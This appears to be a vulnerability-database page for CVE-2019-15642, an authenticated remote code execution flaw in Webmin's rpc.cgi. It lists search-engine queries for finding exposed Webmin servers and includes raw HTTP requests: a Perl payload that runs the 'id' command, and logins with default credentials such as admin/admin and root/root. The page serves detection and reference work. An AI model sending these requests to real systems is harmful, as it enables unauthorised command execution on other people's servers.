🔙 목록으로 돌아가기

CVE-2019-15642: Webmin < 1.920 - Authenticated Remote Code Execution

TitleWebmin < 1.920 - Authenticated Remote Code Execution
Authorpussycat0x
SeverityHigh
ImpactSuccessful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system.
RemediationUpgrade Webmin to version 1.920 or later to mitigate this vulnerability.
CVSS Score8.8
EPSS Score0.92499
CVE IDCVE-2019-15642
CWE IDCWE-94
Shodan Querytitle:"Webmin"http.title:"webmin"
Fofa Querytitle="webmin"
Tags cve cve2019 webmin rce vkev vuln

🔍 Vulnerability Description

rpc.cgi in Webmin through 1.920 allows authenticated Remote Code Execution via a crafted object name because unserialise_variable makes an eval call. NOTE: the Webmin_Servers_Index documentation states “RPC can be used to run any command or modify any file on a server, which is why access to it must not be granted to un-trusted Webmin users.”

🌐 HTTP Request

POST /rpc.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Content-Length: 78
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: //sysinfo.cgi?xnavigation=1
Connection: close

OBJECT Socket;print "Content-Type: text/plain\n\n";$cmd=`id`;print "$cmd\n\n";
POST /rpc.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15
Content-Length: 78
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: //sysinfo.cgi?xnavigation=1
Connection: close

OBJECT Socket;print "Content-Type: text/plain\n\n";$cmd=`id`;print "$cmd\n\n";
POST /session_login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Length: 21
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cookie: redirect=1; testing=1
Origin: /
Referer: /
Connection: close

user=admin&pass=admin
POST /session_login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Length: 19
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cookie: redirect=1; testing=1
Origin: /
Referer: /
Connection: close

user=root&pass=root

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-15642.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-15642.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A